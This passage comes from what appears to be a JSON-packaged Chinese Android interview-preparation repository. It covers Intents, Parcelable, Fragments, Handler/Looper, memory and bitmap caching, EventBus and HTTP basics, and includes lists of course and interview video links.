5、如何播放网络视频\n\n除了使用Android提供的MediaPlayer和VideoView外通常还可以使用第三方开源万能播放器，VitamioPlayer。该播放器兼容性好，支持几乎所有主流视频格式。\n\n## Intent      \n\n### 1、Intent传递数据时，可以传递哪些类型数据？\n\n Intent可以传递的数据类型非常的丰富，java的基本数据类型和String以及他们的数组形式都可以，除此之外还可以传递实现了Serializable和Parcelable接口的对象。\n\n### 2、Serializable和Parcelable的区别\n\n- 在使用内存的时候，Parcelable 类比Serializable性能高，所以推荐使用Parcelable类。       \n- Serializable在序列化的时候会产生大量的临时变量，从而引起频繁的GC。       \n- Parcelable不能使用在要将数据存储在磁盘上的情况。尽管Serializable效率低点，但在这种情况下，还是建议你用Serializable 。       \n- \n  实现：       \n\n1、Serializable 的实现，只需要继承Serializable 即可。这只是给对象打了一个标记，系统会自动将其序列化。       \n\n2、Parcelabel 的实现，需要在类中添加一个静态成员变量 CREATOR，这个变量需要继承 Parcelable.Creator 接口。\n```java\npublic class MyParcelable implements Parcelable {\n    private int mData;\n    public int describeContents() {\n        return 0;\n    }\n    public void writeToParcel(Parcel out, int flags) {\n        out.writeInt(mData);\n    }\n    public static final Parcelable.Creator<MyParcelable> CREATOR\n            = new Parcelable.Creator<MyParcelable>() {\n        public MyParcelable createFromParcel(Parcel in) {\n            return new MyParcelable(in);\n        }\n        public MyParcelable[] newArray(int size) {\n            return new MyParcelable[size];\n        }\n    };\n    private MyParcelable(Parcel in) {\n        mData = in.readInt();\n    }\n}\n```\n### 3、请描述一下Intent 和 IntentFilter\n\nAndroid 中通过 Intent 对象来表示一条消息，一个 Intent对象不仅包含有这个消息的目的地，还可以包含消息的内容，这好比一封 Email，其中不仅应该包含收件地址，还可以包含具体的内容。对于一个 Intent 对象，消息“目的地”是必须的，而内容则是可选项。             \n通过Intent 可以实现各种系统组件的调用与激活。       \nIntentFilter: 可以理解为邮局或者是一个信笺的分拣系统…       这个分拣系统通过3个参数来识别  \n\n- Action: 动作view       \n- Data: 数据uri   uri       \n- Category : 而外的附加信息             \n\nAction 匹配\n\nAction 是一个用户定义的字符串，用于描述一个 Android 应用程序组件，一个 IntentFilter 可以包含多个 Action。在 AndroidManifest.xml 的 Activity 定义时可以在其 &lt;intent-filter >节点指定一个 Action 列表用于标示 Activity 所能接受的“动作”，\n例如：\n\n```xml      \n<intent-filter>       \n    <action android:name=\"android.intent.action.MAIN\"/>       \n    <actionandroid:name=\"cn.itheima.action\" />       \n    ……       \n</intent-filter>\n```\n如果我们在启动一个 Activity 时使用这样的Intent 对象\n\n```\nIntentintent =new Intent();       \nintent.setAction(\"cn.itheima.action\");\n```\n\n那么所有的 Action 列表中包含了“cn.itheima”的 Activity 都将会匹配成功。       Android 预定义了一系列的 Action 分别表示特定的系统动作。这些Action 通过常量的方式定义在 android.content. Intent中，以“ACTION_”开头。我们可以在 Android 提供的文档中找到它们的详细说明。\n\nURI 数据匹配\n\n一个 Intent 可以通过 URI 携带外部数据给目标组件。在 &lt;intent-filter >节点中，通过 &lt;data/>节点匹配外部数据。       \n\nmimeType 属性指定携带外部数据的数据类型，scheme 指定协议，host、port、path 指定数据的位置、端口、和路径。如下：\n```xml\n<data android:mimeType=\"mimeType\"\n    android:scheme=\"scheme\"\n    android:host=\"host\"\n    android:port=\"port\" \n    android:path=\"path\"/>       \n```\n电话的uri   tel:12345\n\n自己定义的uri itcast://cn.itcast/person/10       \n如果在 Intent Filter 中指定了这些属性，那么只有所有的属性都匹配成功时 URI 数据匹配才会成功。\n\nCategory 类别匹配       \n\n&lt;intent-filter >节点中可以为组件定义一个 Category 类别列表，当 Intent 中包含这个列表的所有项目时 Category 类别匹配才会成功。\n\n## Fragment1、Fragment跟Activity之间是如何传值的             \n\n当Fragment跟Activity绑定之后，在Fragment中可以直接通过getActivity（）方法获取到其绑定的Activity对象，这样就可以调用Activity的方法了。在Activity中可以通过如下方法获取到Fragment实例：\n```java\nFragmentManager fragmentManager = getFragmentManager();\nFragment fragment = fragmentManager.findFragmentByTag(tag);\nFragment fragment = fragmentManager.findFragmentById(id);\n```\n获取到Fragment之后就可以调用Fragment的方法。也就实现了通信功能。\n\n2、描述一下Fragment的生命周期\n\n![img](http://bbs.itheima.com/data/attachment/forum/201508/09/221025fgoosncfa1cv215l.png.thumb.jpg)\n\n## 能否在子线程中更新UI\n\n可以的，在onCreate()的setContentView()后new一个Thread去更新UI是不会报错的，但是延迟1s后再更新UI就会报错，这是因为在onCreate()的时候ViewRoot的requestLayout()方法没有执行，layout布局文件还没有创建完成。而ViewRoot的requestLayout()方法中才会调用checkThread()方法检查当前是否是主线程，不是的话就抛CalledFromWrongThreadException。Android中的定义是：不建议在子线程中更新UI，否则会产生不可预知的错误"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android视频教程.md",
    "content": "## Android视频教程\n\n- 零基础入门Android语法与界面 \n- Kotlin系统入门与进阶\n- 从Java到Kotlin系列精讲\n- Kotlin打造完整电商APP 模块化+MVP+主流框架\n- Android强化：服务与通信之广播、服务、蓝牙 \n- Gradle3.0自动化项目构建技术精讲+实战\n- React Native技术精讲与高质量上线APP开发\n- 双平台真实开发GitHub App React Native技术全面掌握\n- Android应用发展趋势必备武器 热修复与插件化\n- Android通用框架设计与完整电商APP开发\n- 全程MVP手把手 打造IM即时通讯Android APP\n- RxJava从源码到应用，移动端开发效率秒提速\n- Android开发—高级开发专题系列全套课程\n- BAT大咖助力 全面升级Android面试\n- Android高级面试 10大开源框架源码解析\n- BAT大厂APP架构演进实践与优化之路\n- Android架构师之路 网络层架构设计与实战\n- Android互动直播APP开发\n- 从零开发Android视频点播APP\n- 组件化封装思想实战Android App\n- 带领新手快速开发Android App\n- 快速开发轻量级App"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android面试精华题目总结.md",
    "content": "> 原文链接：http://blog.csdn.net/lmj623565791/article/details/24015867/\n\n下面的题目都是楼主在[Android](http://lib.csdn.net/base/android)交流群大家面试时遇到的，如果大家有好的题目或者好的见解欢迎分享，楼主将长期维护此帖。\n\n## 某公司高级面试题\n\n1、详述Android系统架构，包括层与层之间调用、binder、jni、底层文件读写方法\n\nandroid源码之前分为四层，如下图：\n\n![](img/framework.jpg)\n\n新的android源码分为五层（[平台架构](平台架构.md)），增加了HAL层，如下图：\n\n![](img/framework.png)\n\n- Linux Kernel\n\nLinux内核，主要是一些硬件驱动和Binder驱动（IPC进程间通信）\n\n- 硬件抽象层\n\nAndroid系统的硬件抽象层（Hardware Abstract Layer，HAL）运行用户空间中，它向下屏蔽硬件驱动模块的实现细节，向上提供硬件访问服务。通过硬件抽象层，Android系统分两层来支持硬件设备，其中一层实现在用户空间中，另一层实现在内核空间中。传统的Linux系统把对硬件的支持完全实现在内核空间中，即把对硬件的支持完全实现在硬件驱动模块中。\n\nAndroid系统里封装内核驱动程序的接口层。对上层提供接口，屏蔽底层驱动实现细节.\n\n本来Linux内核可以负责驱动接口定义和驱动实现，但是受限于GNU License（开源感染性），如果厂商选择驱动接口和实现都在内核空间完成，就必须开放自己的驱动源代码。这是不符合厂商利益的（驱动包含核心硬件参数，与其他厂家竞争的法宝）。所以Google将Linux内核中跟底层硬件操作相关的逻辑封装成HAL层接口，厂商基于接口去实现，不直接在内核空间实现驱动。因为Android系统遵循Apache License，不强制开源。\n\n- Libraries and Android Runtime\n\n原生C/C++库，系统运行的核心库，Android运行时环境，包括核心库和dvm\n\n- Application FrameWork 框架层\n\n提供的是Java API，主要是各种Manager，如WindowManager，ActivityManager等。\n\n硬件访问服务通过硬件抽象层模块来为应用程序提供硬件读写操作。由于硬件抽象层模块是使用C++语言开发的，而应用程序框架层中的硬件访问服务是使用Java语言开发的，因此，硬件访问服务必须通过Java本地接口（Java Native Interface，JNI）来调用硬件抽象层模块的接口。\n\n在Android应用程序框架层开发硬件访问服务的目的是为了让上层的Android应用程序能够访问对应的硬件设备。\n\n- Applications 应用层\n\n我们使用的系统自带App或者自己安装的App都属于应用层\n\n应用程序框架中的基于Java语言的Binder接口是通过JNI来调用基于C/C++语言的Binder运行库来为Java应用程序提供进程间通信服务的\n\n2、描述自己的一个项目，要求画出结构图，UML图，详细描述项目种的技术点，技术难点以及解决方案\n\n3、一道[算法](http://lib.csdn.net/base/datastructure)\n\n4、谈谈自己项目管理的方法、对[敏捷，即原型开发](http://lib.csdn.net/base/agile)软件开发的理解\n\n## 基础面试题\n\n**1. 请解释下在单线程模型中Message,Handler,MessageQueue,Looper之间的关系。**\n\n拿主线程来说，主线程启动时会调用Looper.prepare()方法，会初始化一个Looper，放入Threadlocal中，接着调用Looper.loop()不断遍历MessageQueue，Handler的创建依赖与当前线程中的Looper，如果当前线程没有Looper则必须调用Looper.prepare()。Handler , sendMessage到MessageQueue，Looper不断从MessageQueue中取出消息，回调handleMessage方法。 \n\n**2. 如果有个100M大的文件，需要上传至服务器中，而服务器form表单最大只能上传2M，可以用什么方法。**\n\n这个问题不是很明确我觉得，首先来说使用http协议上传数据，特别在android下，跟form没什么关系。传统的在web中，在form中写文件上传，其实浏览器所做的就是将我们的数据进行解析组装拼成字符串，以流的方式发送到服务器，且上传文件用的都是POST方式，POST方式对大小没什么限制。\n\n回到题目，可以说假设每次真的只能上传2M，那么可能我们只能把文件截断，然后分别上传了。\n\n**3. 内存溢出和内存泄漏有什么区别？何时会产生内存泄漏？内存优化有哪些方法？**\n\n内存溢出通俗理解就是软件（应用）运行需要的内存，超出了它可用的最大内存。\n\n内存泄漏就是我们对某一内存空间的使用，使用完成后没有释放。\n\n内存优化：Android中容易内存溢出的部分，就是图片的加载，我们可以使用图片的压缩加上使用LruCache缓存的目的来控制图片所能够使用的内存。\n\n还有对于比较耗资源的对象及时的关闭，例如Database Conn ， 各种传感器 ， Service 等等。\n\n**4. AsyncTask使用在哪些场景？它的缺陷是什么？如何解决？**\n\nAsyncTask 运用的场景就是我们需要进行一些耗时的操作，耗时操作完成后更新主线程，或者在操作过程中对主线程的UI进行更新。\n\n缺陷：AsyncTask中维护着一个长度为128的线程池，同时可以执行5个工作线程，还有一个缓冲队列，当线程池中已有128个线程，缓冲队列已满时，如果此时向线程提交任务，将会抛出RejectedExecutionException。\n\n解决：由一个控制线程来处理AsyncTask的调用判断线程池是否满了，如果满了则线程睡眠否则请求AsyncTask继续处理。\n\n**5. Activity用SharedPreferences保存数据，大小有木有限制？**\n\n这个真心查不到\n\nSp的底层是由xml实现的，操作Sp的过程就是xml的序列化和解析的过程.Xml是储存在磁盘上的，因此考虑到IO速度问题，sp不适宜频繁操作.同时序列化xml就是将内存中的数据写到xml文件中，由于dvm的内存是很有限的，因此单个sp文件不建议太大，具体多大是没有一个明确的要求的，但是我们知道DVM堆内存也就是16M，因此数据大小肯定不能超过这个数字，其实SP设置的目的就是为了保存用户的偏好和配置信息的，因此建议不要保存太多的数据\n\n**6. Activity间通过Intent传递数据大小有没有限制？**\n\n貌似是40K。Intent貌似应该是1m，Intent携带数据太大是会报错，比如携带一张大图片是就会发生异常\n\n**7. assest文件夹里放文件，对于文件的大小有没有限制？**\n\nassets目录更像一个附录类型的目录，Android不会为这个目录中的文件生成ID并保存在R类当中，因此它与Android中的一些类和方法兼容度更低。\n\n同时，由于你需要一个字符串路径来获取这个目录下的文件描述符，访问的速度会更慢。但是把一些文件放在这个目录下会使一些操作更加方便，比方说拷贝一个[数据库](http://lib.csdn.net/base/mysql)文件到系统内存中。要注意的是，你无法在Android XML文件中引用到assets目录下的文件，只能通过AssetManager来访问\n\n这些文件。数据库文件和游戏数据等放在这个目录下是比较合适的。另外，网上关于assets和raw的资料都千篇一律了，因此关于这两者中单个文件\n\n大小不能超过1M的**错误**描述也在传播，即如果读取超过1M的文件会报\"Data exceeds UNCOMPRESS_DATA_MAX (1314625 vs 1048576)\"的IOException，还引申出种种解决方案。个人认为不应该有这样的限制，为了验证这个说法写了个Demo，发现将近5M的压缩包在assets和raw中都能正常访问，因此在这里纠正一下，理论上只要打包不超过Android APK 50M大小的限制都是没有问题的。当然了，不排除是Android很早期的时候因为设备硬件原因aapt在编译的时候对这两个文件夹大小做出了限制，如果是这样，较新版的ADT应该不会出现这种情况。\n\n来自：http://my.eoe.cn/futurexiong/archive/5350.html\n\n**8. 启动一个程序，可以主界面点击图标进入，也可以从一个程序中跳转过去，二者有什么区别？**\n\n是因为启动程序（主界面也是一个app），发现了在这个程序中存在一个设置为`<category android:name=\"android.intent.category.LAUNCHER\" />`的activity,所以这个launcher会把icon提出来，放在主界面上。当用户点击icon的时候，发出一个Intent：\n\n```java\nIntent intent = mActivity.getPackageManager().getLaunchIntentForPackage(packageName);\nmActivity.startActivity(intent);\n```\n\n跳过去可以跳到任意允许的页面，如一个程序可以下载，那么真正下载的页面可能不是首页（也有可能是首页），这时还是构造一个Intent，startActivity.这个intent中的action可能有多种view,download都有可能。系统会根据第三方程序向系统注册的功能，为你的Intent选择可以打开的程序或者页面。所以唯一的一点不同的是从icon的点击启动的intent的action是相对单一的，从程序中跳转或者启动可能样式更多一些。本质是相同的。\n\n**9. 程序之间的亲和性的理解**\n\n- 默认情况下一个应用的所有Activity都是具有相同的affinity，都是从application中继承，application的affinity默认就是manifest的包名。\n- affinity对Activity来说，就像是身份证一样，可以告诉所在的Task，自己属于其中的一员。\n- 应用场合：\n  - 根据affinity重新为Activity选择合适的宿主Task\n  - 与allowTaskReparenting属性配合\n  - 启动Activity使用Intent设置了FLAG_ACTIVITY_NEW_TASK标记\n\n**10. 同一个程序，但不同的Activity是否可以放在不同的Task任务栈中？**\n\n可以放在不同的Task中。需要为不同的activity设置不同的affinity属性，启动activity的Intent需要包含FLAG_ACTIVITY_NEW_TASK标记。\n\n**11. 横竖屏切换时候Activity的生命周期。**\n\n- 不设置Activity的android:configChanges时，切屏会重新调用各个生命周期，切横屏时会执行一次，切竖屏时会执行两次\n- 设置Activity的android:configChanges=\"orientation\"时，切屏还是会重新调用各个生命周期，切横、竖屏时只会执行一次\n- 设置Activity的android:configChanges=\"orientation|keyboardHidden\"时，切屏不会重新调用各个生命周期，只会执行onConfigurationChanged方法\n\n**12. AIDL的全称是什么？如何工作？**\n\n全称是：Android Interface Define Language\n\n在Android中, 每个应用程序都可以有自己的进程. 在写UI应用的时候, 经常要用到Service. 在不同的进程中, 怎样传递对象呢? 显然, [Java](http://lib.csdn.net/base/javase)中不允许跨进程内存共享.\n\n 因此传递对象, 只能把对象拆分成[操作系统](http://lib.csdn.net/base/operatingsystem)能理解的简单形式, 以达到跨界对象访问的目的. 在J2EE中,采用RMI的方式, 可以通过序列化传递对象. 在Android中, 则采用AIDL的方式. 理论上AIDL可以传递Bundle,实际上做起来却比较麻烦。\n\nAIDL(Android接口描述语言)是一种接口描述语言; 编译器可以通过aidl文件生成一段代码，通过预先定义的接口达到两个进程内部通信进程的目的. 如果需要在一个Activity中, 访问另一个Service中的某个对象, 需要先将对象转化成AIDL可识别的参数(可能是多个参数), 然后使用AIDL来传递这些参数, 在消息的接收端, 使用这些参数组装成自己需要的对象.AIDL的IPC的机制和COM或CORBA类似, 是基于接口的，但它是轻量级的。它使用代理类在客户端和实现层间传递值. 如果要使用AIDL, 需要完成2件事情: 1. 引入AIDL的相关类; 2. 调用aidl产生的class.\n\nAIDL的创建方法:\n\nAIDL语法很简单,可以用来声明一个带一个或多个方法的接口，也可以传递参数和返回值。 由于远程调用的需要, 这些参数和返回值并不是任何类型.\n\n下面是些AIDL支持的数据类型:\n\n1. 不需要import声明的简单Java编程语言类型(int,boolean等)\n\n\n2. String, CharSequence不需要特殊声明\n\n\n3. List, Map和Parcelables类型, 这些类型内所包含的数据成员也只能是简单数据类型, String等其他比支持的类型.\n\n(另外: 我没尝试Parcelables, 在Eclipse+ADT下编译不过, 或许以后会有所支持\n\n**13. dvm的进程和Linux的进程, 应用程序的进程是否为同一个概念**\n\nDvm的进程是dalivk虚拟机进程,每个android程序都运行在自己的进程里面,每个android程序系统都会给他分配一个单独的liunx uid(user id),每个dvm都是linux里面的一个进程.所以说这两个进程是一个进程."
  },
  {
    "path": "docs/android/Android-Interview/Android/Android面试重点.md",
    "content": "## Imageloader\n\n### 常用的图片处理框架\n\nFresco 正在实现了三级缓存，2级内存缓存，一级本地缓存、Glide、Picasso、UIL-ImageLoader\n\n### 图片占用内存\n\n大小 = 每个像素占用的字节数 * 总像素\n\nBitmap.Config\n\n- RGB_565\n- ARGB_8888\n\n内存溢出\n\n### 图片乱序错位问题\n\nimageview.setTag(url)\n\n弱引用双向关联\n\n使用volley的NetImageView\n\n### 四种引用类型\n\n- 强引用\n- 弱引用\n- 软引用\n- 虚引用\n\n### 三级缓存\n\n1、DiskLrucache 本地/磁盘缓存\n\n2、Lrucache 内存缓存\n\n原理\n\nLinkedHashMap 双向循环链表\n\n- 参数1：初始大小\n- 参数2：装载因子\n- 参数3：true 按访问顺序排序，false 按插入顺序排序\n\n内存大小\n\n```java\nint memory = (int) (Runtime.getRuntime().maxMemory()/8);\nLruCache<String,Bitmap> cache = new LruCache<String,Bitmap>(memory){\n    @Override\n    protected int sizeOf(String key, Bitmap value) {\n        return value.getByteCount();\n    }\n};\n```\n\nLrucache .get(key) --> LinkedHashMap.get(key) : 命中，移动到双向循环链表的的尾部\n\nLrucache .put(key) --> LinkedHashMap.put(key) : 如果size > maxSize，删除链表header节点直到size < maxSize\n\n3、 网络缓存\n\n4、缓存路径\n\n- getExternalCacheDir()\n- getCacheDir()\n\n### 图片压缩\n\nBitmapFactory.Options\n\n- inJustDecodeBounds\n- inSampleSize\n- outWidth\n- outHeight\n- inBitmap\n\n```java\n   /**\n     * Decode and sample down a bitmap from resources to the requested width and height.\n     *\n     * @param res The resources object containing the image data\n     * @param resId The resource id of the image data\n     * @param reqWidth The requested width of the resulting bitmap\n     * @param reqHeight The requested height of the resulting bitmap\n     * @param cache The ImageCache used to find candidate bitmaps for use with inBitmap\n     * @return A bitmap sampled down from the original with the same aspect ratio and dimensions\n     *         that are equal to or greater than the requested width and height\n     */\n    public static Bitmap decodeSampledBitmapFromResource(Resources res, int resId,\n            int reqWidth, int reqHeight, ImageCache cache) {\n\n        // BEGIN_INCLUDE (read_bitmap_dimensions)\n        // First decode with inJustDecodeBounds=true to check dimensions\n        final BitmapFactory.Options options = new BitmapFactory.Options();\n        options.inJustDecodeBounds = true;\n        BitmapFactory.decodeResource(res, resId, options);\n\n        // Calculate inSampleSize\n        options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);\n        // END_INCLUDE (read_bitmap_dimensions)\n\n        // If we're running on Honeycomb or newer, try to use inBitmap\n        if (Utils.hasHoneycomb()) {\n            addInBitmapOptions(options, cache);\n        }\n\n        // Decode bitmap with inSampleSize set\n        options.inJustDecodeBounds = false;\n        return BitmapFactory.decodeResource(res, resId, options);\n    }\n\n   /**\n     * Decode and sample down a bitmap from a file to the requested width and height.\n     *\n     * @param filename The full path of the file to decode\n     * @param reqWidth The requested width of the resulting bitmap\n     * @param reqHeight The requested height of the resulting bitmap\n     * @param cache The ImageCache used to find candidate bitmaps for use with inBitmap\n     * @return A bitmap sampled down from the original with the same aspect ratio and dimensions\n     *         that are equal to or greater than the requested width and height\n     */\n    public static Bitmap decodeSampledBitmapFromFile(String filename,\n            int reqWidth, int reqHeight, ImageCache cache) {\n\n        // First decode with inJustDecodeBounds=true to check dimensions\n        final BitmapFactory.Options options = new BitmapFactory.Options();\n        options.inJustDecodeBounds = true;\n        BitmapFactory.decodeFile(filename, options);\n\n        // Calculate inSampleSize\n        options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);\n\n        // If we're running on Honeycomb or newer, try to use inBitmap\n        if (Utils.hasHoneycomb()) {\n            addInBitmapOptions(options, cache);\n        }\n\n        // Decode bitmap with inSampleSize set\n        options.inJustDecodeBounds = false;\n        return BitmapFactory.decodeFile(filename, options);\n    }\n\n   /**\n     * Decode and sample down a bitmap from a file input stream to the requested width and height.\n     *\n     * @param fileDescriptor The file descriptor to read from\n     * @param reqWidth The requested width of the resulting bitmap\n     * @param reqHeight The requested height of the resulting bitmap\n     * @param cache The ImageCache used to find candidate bitmaps for use with inBitmap\n     * @return A bitmap sampled down from the original with the same aspect ratio and dimensions\n     *         that are equal to or greater than the requested width and height\n     */\n    public static Bitmap decodeSampledBitmapFromDescriptor(\n            FileDescriptor fileDescriptor, int reqWidth, int reqHeight, ImageCache cache) {\n\n        // First decode with inJustDecodeBounds=true to check dimensions\n        final BitmapFactory.Options options = new BitmapFactory.Options();\n        options.inJustDecodeBounds = true;\n        BitmapFactory.decodeFileDescriptor(fileDescriptor, null, options);\n\n        // Calculate inSampleSize\n        options.inSampleSize = calculateInSampleSize(options, reqWidth, reqHeight);\n\n        // Decode bitmap with inSampleSize set\n        options.inJustDecodeBounds = false;\n\n        // If we're running on Honeycomb or newer, try to use inBitmap\n        if (Utils.hasHoneycomb()) {\n            addInBitmapOptions(options, cache);\n        }\n\n        return BitmapFactory.decodeFileDescriptor(fileDescriptor, null, options);\n    }\n   /**\n     * Calculate an inSampleSize for use in a {@link android.graphics.BitmapFactory.Options} object when decoding\n     * bitmaps using the decode* methods from {@link android.graphics.BitmapFactory}. This implementation calculates\n     * the closest inSampleSize that is a power of 2 and will result in the final decoded bitmap\n     * having a width and height equal to or larger than the requested width and height.\n     *\n     * @param options An options object with out* params already populated (run through a decode*\n     *            method with inJustDecodeBounds==true\n     * @param reqWidth The requested width of the resulting bitmap\n     * @param reqHeight The requested height of the resulting bitmap\n     * @return The value to be used for inSampleSize\n     */\n    public static int calculateInSampleSize(BitmapFactory.Options options,\n                                            int reqWidth, int reqHeight) {\n        // BEGIN_INCLUDE (calculate_sample_size)\n        // Raw height and width of image\n        final int height = options.outHeight;\n        final int width = options.outWidth;\n        int inSampleSize = 1;\n\n        if (height > reqHeight || width > reqWidth) {\n\n            final int halfHeight = height / 2;\n            final int halfWidth = width / 2;\n\n            // Calculate the largest inSampleSize value that is a power of 2 and keeps both\n            // height and width larger than the requested height and width.\n            while ((halfHeight / inSampleSize) > reqHeight\n                    && (halfWidth / inSampleSize) > reqWidth) {\n                inSampleSize *= 2;\n            }\n\n            // This offers some additional logic in case the image has a strange\n            // aspect ratio. For example, a panorama may have a much larger\n            // width than height. In these cases the total pixels might still\n            // end up being too large to fit comfortably in memory, so we should\n            // be more aggressive with sample down the image (=larger inSampleSize).\n\n            long totalPixels = width * height / inSampleSize;\n\n            // Anything more than 2x the requested pixels we'll sample down further\n            final long totalReqPixelsCap = reqWidth * reqHeight * 2;\n\n            while (totalPixels > totalReqPixelsCap) {\n                inSampleSize *= 2;\n                totalPixels /= 2;\n            }\n        }\n        return inSampleSize;\n        // END_INCLUDE (calculate_sample_size)\n    }\n```\n\n## EventBus\n\n### 1. 事件总线\n\n组件（activity，fragment，service）间的交互，通信，主线程子线程间的通信\n\n观察者模式，发布订阅，注解，Map<订阅对象，订阅方法>\n\n事件类型EventType，事件响应函数\n\n### 2. 发布接收事件\n\n- 发布事件post()\n\nEventBus.getDefault().post(new User(\"mr.simple\"), \"my_tag\");\n\n反射调用，回调\n\n- 注册事件register()\n\n扫描订阅对象的所有方法，包括分类的方法，匹配方法，保存到Map集合中\n\n- 接收事件，事件响应函数\n\n@Subscriber(tag = \"my_tag\", mode=ThreadMode.POST)\n\n### 3. EventBus\n\n订阅队列\n\nMap<EventType,CopyOnWriteArrayList>\n\n判断是否是主线程：Looper.getMainLooper() == Looper.myLooper();\n\nHandler mHandler = new Handler(Looper.getMainLooper());\n\nThreadLocal&lt;PostingThreadState>\n\n存储了⼀个事件队列以及事件的状态\n\n```\nclass PostingThread\n{\nList<Object> mEventQueue = new ArrayList<Object>();\nboolean isMainThread;\nboolean isPosting;\n}\n```\n\nMap&lt;Class, CopyOnWriteArrayList&lt;SubscribeMethod>>\n\n通过订阅对象的字节码拿到订阅对象匹配的方法以及方法的参数，其中threadmode是通过截取字符串获得，EventBus3.0是通过注解的方式拿到threadmode，方法的参数就是EventType\n\n## Android EventBus\n\n### EventType\n\n方法的参数和tag组成EventType\n\n## 依赖注入IOC\n\n## ImageLoader\n\n面向接口编程，策略模式，BitmapRequest，链式调用 return this Builder模式，单例模式，生产者消费者模式\n\n模板方法模式（算法骨架）\n\n### BitmapRequest\n\n图片请求\n\n### ImageLoaderConfig\n\n设置一些基本的东西，比如加载中的图片、加载失败的图片、缓存策略\n\n### RequestQueue\n\n内部维持着一个PriorityBlockingQueue\n\n```\nBlockingQueue<BitmapRequest> mRequestQueue = new PriorityBlockingQueue<BitmapRequest>();\n```\n\n### RequestDispatcher\n\n## HttpUtils\n\n### 常用的网络请求框架\n\n- Retrofit\n\n\n- OkHttp\n- NoHttp\n- Volley\n- HttpURLConnection（省电省流量）\n- HttpClient（6.0后删除）\n- AsyncHttpclient\n\n\n请求头Map<String, String> mHeaders，请求参数Map<String, String> mBodyParams，URLEncoder.encode()\n\n- NetworkExecutor 网络请求线程\n- HttpStack Http执行器\n- ResponseDelivery Response分发\n\n### Http协议\n\n请求Request\n\n- 请求首行\n- 请求头\n- 空行\n- 请求体\n\n响应Response\n\n- 响应首行\n- 响应头\n- 空行\n- 响应体\n\n请求头\n\n响应头\n\n通用头\n\nContentType\n\n- get 查\n- post 改\n- put 增 提交表单\n- delete 删\n- head 只返回首部\n- trace 诊断，跟踪http请求是否被修改\n- options 请求服务器告知其支持的各种功能\n\n### 网络模型\n\nTCP/IP参考模型\n\n- 应用层 http，https，ftp\n- 传输层 tcp udp\n- 网络层 ip地址\n- 物理层\n- 数据链路层\n\n### 三次、四次握手\n\n### 三要素\n\nip地址，端口号，协议\n\n### 文件上传\n\n表单数据，Content-Type:multipart/form-data\n\n## ORM框架\n\n注解（运行时注解或编译时注解）反射\n\n注解标记表和表中的列，javabean上添加注解，指定一个类对应的表名，一个字段在表中对应的列名\n\n在清单文件中配置数据库名，版本号，还可以配置model\n\nmodel类可以从清单文件中获取，也可以通过扫描整个应用获取，扫描当前App的dex文件\n\n创建表：通过注解标记表名和字段名，通过反射拿到model的信息来拼接sql语句\n\n### 数据库操作类\n\n- Selection\n- Delete\n- Update\n- Insert\n\n"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android面试题-1.md",
    "content": "![](img/面试题1.jpg)\n\n![](img/面试题2.jpg)\n\n![](img/面试题3.jpg)\n\n![](img/面试题4.jpg)\n\n### 整个面试题视频如下(持续更新中)：\n\n#### 与IPC机制相关面试题\n\n- [1- Davik进程linux进程线程之间的区别](https://v.qq.com/x/page/a03916l1n7h.html)\n- [2- aidl实现进程间通信](https://v.qq.com/x/page/m0391pnoyl7.html)\n- [3- messenger实现进程间通信](https://v.qq.com/x/page/t0391b2gjm5.html)\n- [4- ContentProvider实现进程间通信](https://v.qq.com/x/page/v0391vx3ynb.html)\n\n#### 与性能优化相关试题\n\n- [5- 什么是内存泄漏](https://v.qq.com/x/page/n0391if5dtb.html)\n- [6- 什么是内存溢出](https://v.qq.com/x/page/q03917e4zk5.html)\n- [7- 什么情况会导致内存泄漏](https://v.qq.com/x/page/j03927ullcj.html)\n- [8- 避免程序的OOM异常](https://v.qq.com/x/page/w0392bn6wto.html)\n- [9- 线程池原理](https://v.qq.com/x/page/u0393izwfut.html)\n- [10- UI性能优化](https://v.qq.com/x/page/j0393ytx9ob.html)\n- [11- 内存优化之字符串优化](https://v.qq.com/x/page/k0393ataw3l.html)\n- [12- 常见内存优化方式](https://v.qq.com/x/page/j0393gm2p7j.html)\n- [13- 性能分析之hierarchyviewer使用](https://v.qq.com/x/page/y0393sa0jlp.html)\n- [14- 性能分析之Lint规范代码](https://v.qq.com/x/page/d039381wbas.html)\n- [15- 性能分析之规避内存抖动](https://v.qq.com/x/page/x0393gf7qp6.html)\n- [16- 性能分析之内存检测工具介绍](https://v.qq.com/x/page/e03933o0tp7.html)\n\n#### 与XMPP相关试题\n\n- [17- 什么是XMPP和XMPP的数据格式](https://v.qq.com/x/page/t0394w3zhoa.html)\n- [18- 及时聊天的展示形式](https://v.qq.com/x/page/k0394y5jo6d.html)\n- [19- TCP和UDP协议](https://v.qq.com/x/page/b0394lzj76e.html)\n- [20- 极光推送原理](https://v.qq.com/x/page/h0394a7zioh.html)\n- [21- XMPP的基本概念](https://v.qq.com/x/page/s0394k4p10i.html)\n- [22- 常见消息推送的解决方案](https://v.qq.com/x/page/h0394s3mc5k.html)\n\n#### 与登录相关试题\n\n- [23- 微信扫一扫登录内部实现原理](https://v.qq.com/x/page/u03952rbbkc.html)\n- [24- 腾讯QQ三方登录实现原理](https://v.qq.com/x/page/p03953hoam3.html)\n- [25- 登录为什么要使用Token](https://v.qq.com/x/page/c0395s3jd4f.html)\n\n#### 与开发相关试题\n\n- [26- 迭代开发的时候如何向前兼容新旧接口](https://v.qq.com/x/page/a0395pv28zm.html)\n- [27- 应用程序的开发流程](https://v.qq.com/x/page/v0395agrpdw.html)"
  },
  {
    "path": "docs/android/Android-Interview/Android/Android面试题-2.md",
